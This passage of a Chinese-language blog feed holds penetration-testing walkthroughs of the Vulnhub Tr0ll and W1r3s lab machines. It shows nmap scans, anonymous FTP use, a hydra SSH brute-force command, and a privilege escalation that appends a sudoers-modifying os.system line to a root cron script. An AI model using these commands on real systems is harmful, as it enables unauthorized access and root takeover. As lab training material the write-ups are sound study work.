|   /robots.txt: Robots file
|_  /secret/: Potentially interesting folder
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server&apos;s resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;1.2.FTP渗透&lt;/h2&gt;
&lt;p&gt;根据 Nmap 扫描结果，目标 FTP 服务（21端口）允许匿名登录（Anonymous），并且根目录下存在一个名为 &lt;code&gt;lol.pcap&lt;/code&gt; 的文件。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Tr0ll/image-20260418224111341.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;通过 FTP 客户端连接目标，使用 &lt;code&gt;prompt&lt;/code&gt; 命令关闭交互提示，并使用 &lt;code&gt;binary&lt;/code&gt; 命令将传输格式切换为二进制模式，随后将 &lt;code&gt;lol.pcap&lt;/code&gt; 下载至本地进行分析。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Tr0ll/image-20260419175416508.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;流量文件分析&lt;/h3&gt;
&lt;p&gt;通过互联网方式查询得知 &lt;a href=&quot;https://en.wikipedia.org/wiki/Pcap&quot;&gt;.pcap&lt;/a&gt; 为网络数据包截获的文件，在上流量分析课时 Wireshark 抓包保存的就是这样的文件。&lt;/p&gt;
&lt;p&gt;我们可以使用 Wireshark 打开该文件进行分析（也可使用 &lt;code&gt;strings&lt;/code&gt; 命令初步提取二进制文件中的可打印字符）。&lt;/p&gt;
&lt;p&gt;打开该流量文件后，可以发现报文数量并不多。通过追踪 TCP 数据流发现报文内容是，曾有用户通过匿名访问的方式登录了 FTP 服务，并请求下载了一个文件。那么此时的关键点在于：我们需要确认该文件中的具体内容，这应该是一个很重要的突破点。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Tr0ll/image-20260418224720399.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Client 报文：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;USER anonymous
PASS password
SYST
PORT 10,0,0,12,173,198
LIST
TYPE I
PORT 10,0,0,12,202,172
RETR secret_stuff.txt
TYPE A
PORT 10,0,0,12,172,74
LIST
QUIT
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;后续我在 Wireshark 底部定位到 FTP-DATA 协议报文，该报文记录了 &lt;code&gt;secret_stuff.txt&lt;/code&gt; 的实际传输内容。查看其数据，提取到以下关键信息：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;RETR secret_stuff.txt
W150 Opening BINARY mode data connection for secret_stuff.txt (147 bytes).
WWell, well, well, aren&apos;t you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P
Sucks, you were so close... gotta TRY HARDER!

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Tr0ll/image-20260418231600238.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;线索提取：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;文中包含一串可疑字符串：&lt;code&gt;sup3rs3cr3tdirlol&lt;/code&gt;。那么该字符串可能为用户密码、SSH 密钥名称或隐藏的 Web 目录名？我们现在暂时不知道，将其记录备用，等 Web 渗透阶段进行交叉验证。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;其实这里的字符串利用到了 &lt;a href=&quot;https://en.wikipedia.org/wiki/Leet&quot;&gt;Leetspeak&lt;/a&gt; 的方式，利用字符替换，通过镜像或其他相似方式来玩转字形的相似性&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;1.3.Web渗透&lt;/h2&gt;
&lt;h3&gt;页面信息检索&lt;/h3&gt;
&lt;p&gt;访问目标 80 端口，Web 首页仅展示一张相关的图片（&lt;code&gt;hacker.jpg&lt;/code&gt;）。&lt;/p&gt;
&lt;p&gt;将图片下载至本地，排查是否存在隐写内容。使用 &lt;code&gt;exiftool&lt;/code&gt; 检查其元数据，未发现有价值的隐写信息，确认为普通图片。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Tr0ll/image-20260418222443783.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;下载图片&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Tr0ll/image-20260418222414980.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;图片内容&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/vulnhub/Tr0ll/web]
└─$ exiftool hacker.jpg 
ExifTool Version Number         : 13.25
File Name                       : hacker.jpg
Directory                       : .
File Size                       : 49 kB
File Modification Date/Time     : 2014:08:10 06:03:43-04:00
File Access Date/Time           : 2026:04:18 10:23:11-04:00
File Inode Change Date/Time     : 2026:04:18 10:23:11-04:00
File Permissions                : -rw-rw-r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Image Width                     : 407
Image Height                    : 405
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:4:4 (1 1)
Image Size                      : 407x405
Megapixels                      : 0.165

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;目录探测&lt;/h3&gt;
&lt;p&gt;结合 Nmap 前期的 &lt;code&gt;http-enum&lt;/code&gt; 扫描结果以及常规的目录枚举，发现目标站点的两个关键路径：&lt;/p&gt;
&lt;p&gt;1./robots.txt&lt;/p&gt;
&lt;p&gt;文件内容如下，指向了一个名为 &lt;code&gt;/secret&lt;/code&gt; 的目录，除此之外无其他有效信息。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;User-agent:*
Disallow: /secret	
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;2.&lt;strong&gt;&lt;code&gt;/secret/&lt;/code&gt; 目录&lt;/strong&gt; (&lt;code&gt;http://192.168.200.163/secret/&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;访问该目录后，页面仅展示一张带有嘲讽意味的图片，图中写道 “你生气了吗”。未发现可利用的交互接口或敏感文件。后续有对图片隐写信息进行查看，也无有效内容。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Tr0ll/image-20260418223021520.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;目录枚举结果：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Tr0ll/image-20260418222731536.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;2.权限立足&lt;/h1&gt;
&lt;h2&gt;2.1.线索收集和权限定位&lt;/h2&gt;
&lt;p&gt;首先回顾一下目前已掌握的信息：此前我们在 FTP 服务中获取了一个文件以及一串疑似密文的字符串（具体用途暂时未知）；Web 目录扫描虽然发现了两个目录，但均无实质性的有效利用结果。因此，当前的重心应当重新放回到从 FTP 获取的文件线索上，挖掘其潜在的利用方式。&lt;/p&gt;
&lt;p&gt;顺着线索进一步探测，我们成功发现了一个隐藏的 Web 目录，并在该目录下定位到了一个名为 &lt;code&gt;roflmao&lt;/code&gt; 的无后缀文件。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Tr0ll/image-20260418231642897.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;为了弄清该文件的具体类型，我们将其下载到本地，并使用 &lt;code&gt;file&lt;/code&gt; 和 &lt;code&gt;binwalk&lt;/code&gt; 命令进行基础探测：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/vulnhub/Tr0ll/web]
└─$ file roflmao 
roflmao: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=5e14420eaa59e599c2f508490483d959f3d2cf4f, not stripped
┌──(kali㉿kali)-[~/vulnhub/Tr0ll/web]
└─$ binwalk roflmao 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             ELF, 32-bit LSB executable, Intel 80386, version 1 (SYSV)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结果显示，这是一个 32 位的 ELF 格式可执行文件，不存在地址偏移。&lt;/p&gt;
&lt;h2&gt;2.2.二进制文件逆向分析&lt;/h2&gt;
&lt;p&gt;针对该 ELF 文件，我们可以直接赋予执行权限运行、使用 &lt;code&gt;strings&lt;/code&gt; 命令提取可打印字符，或者借助逆向工具及 AI 辅助进行反汇编分析。&lt;/p&gt;
&lt;h3&gt;使用 AI 逆向&lt;/h3&gt;
&lt;h4&gt;基本信息&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;属性&lt;/th&gt;
&lt;th&gt;值&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;格式&lt;/td&gt;
&lt;td&gt;ELF 32-bit LSB 可执行文件&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;架构&lt;/td&gt;
&lt;td&gt;Intel 80386 (x86)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;大小&lt;/td&gt;
&lt;td&gt;7296 字节&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;编译器&lt;/td&gt;
&lt;td&gt;GCC 4.8.2 (Ubuntu)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;符号表&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;未剥离&lt;/strong&gt;（not stripped）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;&lt;code&gt;main&lt;/code&gt; 函数反汇编&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;0804841d &amp;lt;main&amp;gt;:
  push   %ebp
  mov    %esp, %ebp
  and    $0xfffffff0, %esp     ; 栈对齐到 16 字节
  sub    $0x10, %esp
  movl   $0x80484d0, (%esp)    ; 压入字符串地址作为参数
  call   printf@plt            ; 调用 printf
  leave
  ret
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;逻辑还原（伪 C 代码）&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;int main() {
    printf(&quot;Find address 0x0856BF to proceed&quot;);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;程序逻辑极其简单：&lt;strong&gt;只打印一条消息就退出&lt;/strong&gt;。&lt;/p&gt;
&lt;h2&gt;2.3 深入隐藏目录与字典获取&lt;/h2&gt;
&lt;p&gt;程序输出的字符串是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Find address 0x0856BF to proceed
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是一道典型的 CTF &quot;寻找地址&quot; 挑战。由于地址 &lt;code&gt;0x0856BF&lt;/code&gt; 并不在这个二进制文件本身的内存地址范围内（二进制加载基址约为 &lt;code&gt;0x08048000&lt;/code&gt;，文件大小只有 7KB），结合当前的 Web 靶机环境，我猜测这个“地址”很可能是 Web 服务上的另一个隐藏目录。&lt;/p&gt;
&lt;p&gt;经过浏览器访问尝试，证实了这个猜想。在 &lt;code&gt;http://&amp;lt;Target-IP&amp;gt;/0x0856BF&lt;/code&gt; 目录下，确实存在两个新的文件夹：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;good_luck&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;this_folder_contains_the_password&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./img/Tr0ll/image-20260418233530083.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进一步查看这两个文件夹的内容，我们分别获得了一份潜在的用户名字典（&lt;code&gt;which_one_lol.txt&lt;/code&gt;）和一份密码字典（&lt;code&gt;Pass.txt&lt;/code&gt;）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;查看文件，内容如下：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Tr0ll/image-20260419182142604.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;2.4.密码爆破&lt;/h2&gt;
&lt;p&gt;既然提示了这是密码和用户列表，接下来的思路自然是利用这些字典对目标主机的 SSH 服务进行自动化爆破。这里可以使用 CrackMapExec 或 Hydra 等工具。&lt;/p&gt;
&lt;p&gt;CrackMapExec 工具爆破方法：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Tr0ll/image-20260418234444808.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;使用 Hydra 的枚举爆破命令及结果如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hydra -L which_one_lol.txt -p Pass.txt ssh://192.168.200.163 -t 16 -f -u
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Tr0ll/image-20260418234945620.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;SSH密码&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;账号:&lt;/strong&gt; &lt;code&gt;overflow&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;密码:&lt;/strong&gt; &lt;code&gt;Pass.txt&lt;/code&gt; &lt;em&gt;(注意：这里的密码恰好就是获取到的文本文件名称本身)&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;尝试登入，成功登入。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Tr0ll/image-20260419182505544.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;3.提权&lt;/h1&gt;
&lt;h2&gt;3.1 基础信息与环境探测&lt;/h2&gt;
&lt;p&gt;获得初始 shell 后，首先进行常规的系统信息收集，明确当前的用户权限和系统版本。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ whoami
overflow

$ uname -a
Linux troll 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 athlon i686 GNU/Linux

$ sudo -l
[sudo] password for overflow: 
Sorry, user overflow may not run sudo on troll.

$ cat /etc/crontab      
cat: /etc/crontab: Permission denied
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;尝试查看计划任务配置文件 &lt;code&gt;/etc/crontab&lt;/code&gt; 被拒，检查 SUID 文件也未发现明显的可利用项。&lt;/p&gt;
&lt;h2&gt;3.2 异常现象分析&lt;/h2&gt;
&lt;p&gt;在常规探测（如查看 &lt;code&gt;/etc/passwd&lt;/code&gt;、浏览 &lt;code&gt;/var/www/html/&lt;/code&gt; 目录）的过程中，发现了一个非常有趣的现象：&lt;strong&gt;SSH 会话会定时自动强制断开&lt;/strong&gt;，并伴随如下提示：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Broadcast Message from root@trol                                           
        (somewhere) at 12:00 ...
                                               
TIMES UP LOL!   
                                                 
Connection to 192.168.200.163 closed by remote host.
Connection to 192.168.200.163 closed.          
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Tr0ll/image-20260420210131422.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;分析：&lt;/strong&gt; 正常情况下 SSH 不会自动踢人。这说明系统后台极有可能运行着某个&lt;strong&gt;计划任务 (Cron Job)&lt;/strong&gt;。如果这个任务是由 root 权限执行的，只要我们能找到并篡改该任务触发的脚本，就能借此获取 root 权限。&lt;/p&gt;
&lt;h2&gt;3.3.定位并分析计划任务&lt;/h2&gt;
&lt;p&gt;由于在之前测试没有权限直接读取 &lt;code&gt;/etc/crontab&lt;/code&gt;，我们转换思路，全局搜索与 cron 相关的日志文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ find / -name cronlog 2&amp;gt;/dev/null | grep -v &apos;/proc&apos;
/var/log/cronlog

$ cat /var/log/cronlog 
*/2 * * * * cleaner.py
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!tip]
&lt;strong&gt;笔记拓展：Cron 表达式解析&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这里查到的时间字段是 &lt;code&gt;*/2 * * * *&lt;/code&gt;。 _需要注意：&lt;code&gt;*/2&lt;/code&gt; 代表的是&lt;strong&gt;每隔 2 分钟&lt;/strong&gt;执行一次，而 &lt;code&gt;2 * * * *&lt;/code&gt; 代表的是每小时的&lt;strong&gt;第 2 分钟&lt;/strong&gt;执行。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;2&lt;/code&gt; (分钟)&lt;/strong&gt;：指在每小时的&lt;strong&gt;第 2 分钟&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;*&lt;/code&gt; (小时)&lt;/strong&gt;：通配符，表示&lt;strong&gt;每一个小时&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;*&lt;/code&gt; (日期)&lt;/strong&gt;：通配符，表示&lt;strong&gt;每一天&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;*&lt;/code&gt; (月份)&lt;/strong&gt;：通配符，表示&lt;strong&gt;每一个月&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;*&lt;/code&gt; (星期)&lt;/strong&gt;：通配符，表示&lt;strong&gt;每一周的每一天&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2&gt;3.4 实施提权&lt;/h2&gt;
&lt;p&gt;现在的思路非常明确，往 &lt;code&gt;cleaner.py&lt;/code&gt; 中插入提权代码。使我们的目标是赋予 &lt;code&gt;overflow&lt;/code&gt; 用户无密码使用 &lt;code&gt;sudo&lt;/code&gt; 的权限。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意：&lt;/strong&gt; 因为这是一个 Python 脚本，我们不能直接写入 Bash 语法。需要利用 Python 的 &lt;code&gt;os.system()&lt;/code&gt; 模块来执行 Bash 命令。&lt;/p&gt;
&lt;p&gt;执行以下命令，将篡改 Sudoers 文件的指令追加到脚本末尾：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &apos;os.system(&quot;echo \&quot;overflow ALL=(ALL)NOPASSWD: ALL\&quot; &amp;gt;&amp;gt; /etc/sudoers&quot;)&apos; &amp;gt;&amp;gt; /lib/log/cleaner.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Tr0ll/image-20260420210146558.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Bash命令解析：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;目标&lt;/strong&gt;：向 &lt;code&gt;/etc/sudoers&lt;/code&gt; 文件（控制系统 sudo 权限的核心文件）追加一行内容。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;：赋予一个名为 &lt;code&gt;overflow&lt;/code&gt; 的用户&lt;strong&gt;无需密码&lt;/strong&gt;即可执行任何 root 命令的权限。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;[!tip]
&lt;strong&gt;笔记拓展：&lt;code&gt;/etc/sudoers&lt;/code&gt; 的作用与语法解析&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;/etc/sudoers&lt;br /&gt;
文件的核心作用是 Linux 和 Unix 系统中用于配置 sudo 命令权限的核心配置文件。它决定了哪些普通用户（或用户组）可以在系统中以其他用户（通常是 &lt;code&gt;root&lt;/code&gt; 超级管理员）的身份执行命令。系统管理员可以通过该文件精确控制某个人只能在特定的主机上、无密码或有密码地执行某几个特定的命令，从而遵循“最小权限原则”。&lt;/li&gt;
&lt;li&gt;往里撰写内容的格式和含义&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;p&gt;overflow ALL=(ALL)NOPASSWD: ALL&lt;/p&gt;
&lt;blockquote&gt;
&lt;pre&gt;&lt;code&gt;`[用户名] [主机名]=([可切换到的目标用户]:[可切换到的目标用户组]) [是否需要密码] [可执行的命令]`
&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;p&gt;确认是否成功写入后&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Tr0ll/image-20260420211558187.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;耐心等待最多 2 分钟让计划任务触发。任务执行后，直接使用 sudo 切换到 root 即可：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ sudo /bin/bash
root@troll:/# whoami
root
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Tr0ll/image-20260420211619394.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;至此，提权成功完成。&lt;/p&gt;
</content:encoded></item><item><title>Vulnhub W1r3s1.0.1 WriteUp</title><link>https://blog.owenwoow.com/posts/2026/05/05/w1r3s101/</link><guid isPermaLink="true">https://blog.owenwoow.com/posts/2026/05/05/w1r3s101/</guid><description>W1r3s 1.0.1 靶机 Writeup，涵盖信息收集、FTP 匿名访问、Cuppa CMS 本地文件包含漏洞利用及提权过程。</description><pubDate>Tue, 05 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;h3&gt;靶场介绍&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;涉及知识点：
&lt;ul&gt;
&lt;li&gt;主机信息收集&lt;/li&gt;
&lt;li&gt;Nmap 基础使用&lt;/li&gt;
&lt;li&gt;FTP 默认用户登入与应用细节&lt;/li&gt;
&lt;li&gt;目录爆破&lt;/li&gt;
&lt;li&gt;公开 EXP 利用&lt;/li&gt;
&lt;li&gt;SSH 爆破&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;靶机下载地址：https://www.vulnhub.com/entry/w1r3s-101,220/&lt;/p&gt;
&lt;h3&gt;涉及工具&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;nmap&lt;/li&gt;
&lt;li&gt;dirsearch&lt;/li&gt;
&lt;li&gt;searchsploit&lt;/li&gt;
&lt;li&gt;hydra&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h1&gt;攻击思路与具体实现&lt;/h1&gt;
&lt;h2&gt;1. 信息收集&lt;/h2&gt;
&lt;h3&gt;1.1. 使用 Nmap 进行扫描与分析&lt;/h3&gt;
&lt;p&gt;此阶段的主要目标是执行 Nmap 的四大核心扫描并完成攻击面分析：首先通过&lt;strong&gt;端口扫描&lt;/strong&gt;发现开放端口以缩小后续探测范围；其次进行最关键的&lt;strong&gt;详细信息扫描&lt;/strong&gt;（如服务与系统版本）；第三步是补充&lt;strong&gt;UDP 扫描&lt;/strong&gt;；最后执行&lt;strong&gt;漏洞脚本扫描&lt;/strong&gt;。 此外，必要时需兼顾 &lt;strong&gt;IPv6&lt;/strong&gt; 网络的排查。在收集完所有数据后，进行最重要的一步——综合&lt;strong&gt;攻击面分析&lt;/strong&gt;。&lt;/p&gt;
&lt;h4&gt;开放端口探测&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;nmap -sT --min-rate 10000 -p- 192.168.200.157 -oA nmapscan/ports 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/W1r3s1.0.1/image-20260228212035047.png&quot; alt=&quot;image-20260228212035047&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;提取扫描数据中的端口信息&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;grep open ports.nmap | awk -F&apos;/&apos; &apos;{print $1}&apos; | paste -sd &apos;,&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/W1r3s1.0.1/image-20260228213104889.png&quot; alt=&quot;image-20260228213104889&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;详细端口信息探测&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;nmap -sT -sV -sC -O -p21,22,80,3306 192.168.200.157 -oA detail
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/W1r3s1.0.1/image-20260228214020105-1772286035775-2.png&quot; alt=&quot;image-20260228214020105&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;UDP 扫描&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;nmap -sU --top-ports 20 192.168.200.157 -oA nmapscan/udp
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;基础漏洞扫描&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;nmap --script=vuln -p21,22,80,3306 192.168.200.157 -oA nmapscan/vuln
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;2. 渗透阶段&lt;/h2&gt;
&lt;h3&gt;2.1. FTP 渗透&lt;/h3&gt;
&lt;p&gt;在 nmap 扫描中发现 21 端口的 FTP 服务存在允许匿名 (anonymous) 访问的文件泄露漏洞，我们可以在泄露的文件中寻找是否有对于我们渗透测试工作有利的信息。&lt;/p&gt;
&lt;h4&gt;2.1.1. FTP 命令&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;$ ftp 192.168.200.146

# 使用 FTP 的匿名用户登入（anonymous）
Name (192.168.200.146:kali): anonymous

# 切换成二进制模式（细节点，防止文件无法下载或者下载下的文件错误）
ftp&amp;gt; binary
200 Switching to Binary mode.

# 交互模式关闭
ftp&amp;gt; prompt 	
Interactive mode off.

# 下载文件
ftp&amp;gt; mget *.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2.1.2. 分析得到的数据&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;New FTP Server For W1R3S.inc
#
#
#
#
#
#
#
#
01ec2d8fc11c493b25029fb1f47f39ce
#
#
#
#
#
#
#
#
#
#
#
#
#
SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==
############################################
___________.__              __      __  ______________________   _________    .__               
\__    ___/|  |__   ____   /  \    /  \/_   \______   \_____  \ /   _____/    |__| ____   ____  
  |    |   |  |  \_/ __ \  \   \/\/   / |   ||       _/ _(__  &amp;lt; \_____  \     |  |/    \_/ ___\ 
  |    |   |   Y  \  ___/   \        /  |   ||    |   \/       \/        \    |  |   |  \  \___ 
  |____|   |___|  /\___  &amp;gt;   \__/\  /   |___||____|_  /______  /_______  / /\ |__|___|  /\___  &amp;gt;
                \/     \/         \/                \/       \/        \/  \/         \/     \/ 
The W1R3S.inc employee list

Naomi.W - Manager
Hector.A - IT Dept
Joseph.G - Web Design
Albert.O - Web Design
Gina.L - Inventory
Rico.D - Human Resources

        ı pou,ʇ ʇɥıuʞ ʇɥıs ıs ʇɥǝ ʍɐʎ ʇo ɹooʇ¡

....punoɹɐ ƃuıʎɐןd doʇs ‘op oʇ ʞɹoʍ ɟo ʇoן ɐ ǝʌɐɥ ǝʍ
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;a. 两段加密的密文&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;01ec2d8fc11c493b25029fb1f47f39ce&lt;/code&gt; (MD5)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==&lt;/code&gt; (base64)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;使用在线 MD5 破解平台和 Base64 工具解出：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;This is not a password
It is easy, but not that easy..  
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;b. 公司的员工列表&lt;/h5&gt;
&lt;p&gt;我们继续往下看，发现了一段他们公司的员工列表，可以记录下来，留做后用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;The W1R3S.inc employee list

Naomi.W - Manager
Hector.A - IT Dept
Joseph.G - Web Design
Albert.O - Web Design
Gina.L - Inventory
Rico.D - Human Resources
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;c. 颠倒反转密文&lt;/h5&gt;
&lt;p&gt;最后一段文字信息，能看出来是通过颠倒和反转进行的加密，通过截图工具解密后得到下面这段话：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;        ı don&apos;t thınk thıs ıs the way to root!
                                                   
